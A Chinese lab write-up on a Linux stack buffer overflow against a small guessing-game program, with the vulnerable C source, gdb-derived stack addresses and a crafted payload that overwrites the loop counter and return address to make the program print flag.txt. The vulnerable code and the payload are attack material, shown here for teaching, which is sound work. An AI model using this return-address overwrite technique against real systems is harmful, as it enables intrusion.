LINUX安全--构造数据实现缓冲区溢出

源代码:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char *file[2] = {"superman.txt","batman.txt"};
char email[128];

char* cat_file(char *fileName){
    FILE *fp;
    char *content = (char *)malloc(40);
    memset(content,0,40);
    fp = fopen(fileName,"rb");
    fscanf(fp,"%40s",content);
    fclose(fp);
    printf("the content is:%s\n",content);
    return content;
}

int main()
{
    int i = 0;
    char *temp = NULL;
    char *file_content = NULL;
    char buf[140];
    while(i<2)
    {
        temp = file[i];
        file_content = cat_file(temp);
        printf("What's this?\nguess: ");
        scanf("%s",buf);
        if(strcmp(buf,file_content))
        {
            puts("Bad luck!");
            continue;
        }
        i++;
        puts("Hey you are so smart!");
    }
    puts("Congratulatinons! You Guessed everything!");
    printf("input you email");
    scanf("%s",email);
    puts("Thank you so much! I will send you a gift,bye!");
    return 0;
}


实验目录:

LINUX安全--构造数据实现缓冲区溢出_第1张图片

实验的要求:

通过构造数据进行溢出,读取flag.txt的内容


实验过程:

实验主要的思路就是在buf里面添加字符串,产生缓冲区溢出,进而将main函数的返回地址覆盖为cat_file,进而实现函数跳转,实现输出flag.txt

实验步骤

1.分析函数的栈的情况

对exc.exc文件进行gdb调试

LINUX安全--构造数据实现缓冲区溢出_第2张图片

查看main函数的汇编代码,并在如图所示的地方设置断点


我们在0x08048661和0x0804866c处设置断点进行调试确定栈的整体结构,所以栈的结构应该是这样子的

LINUX安全--构造数据实现缓冲区溢出_第3张图片

由于程序每次在输入buf时候总会和content_file进行比较如果不相同就会一直陷入死循环,因此我们在进行缓冲区溢出时主要的工作是首先要将i的值覆盖,其次将main函数的返回地址覆盖以及cat_file参数的输入。

对于将i的值进行覆盖首先我们通过分析可以得出变量i的地址为:0xbffff36c

main函数的返回地址为:0xbffff378

cat_file的地址为:0x080485dd

LINUX安全--构造数据实现缓冲区溢出_第4张图片

因为cat_file是有参数的,我们参数压入的方法主要是通过代码


来实现的,查看汇编代码,可以看到

LINUX安全--构造数据实现缓冲区溢出_第5张图片

地址为0x0804a080

基本是相关的参数已经确定接下来我们构造shellcode

shellcode如下:'a'*0x8c+l32(0x08048800)+'a'*4+l32(2)+'a'*12+l32(0x080485DD)+l32(0)+l32(0x0804A080)

编写python文件如下:

LINUX安全--构造数据实现缓冲区溢出_第6张图片

运行查看效果:

LINUX安全--构造数据实现缓冲区溢出_第7张图片

总结此次试验与之前做的缓冲区溢出不太一样的地方就是return和call指令,压入参数的方式不同
call指令只要是push+jmp

而return指令则不一样,如图:

LINUX安全--构造数据实现缓冲区溢出_第8张图片


你可能感兴趣的:(LINUX安全--构造数据实现缓冲区溢出)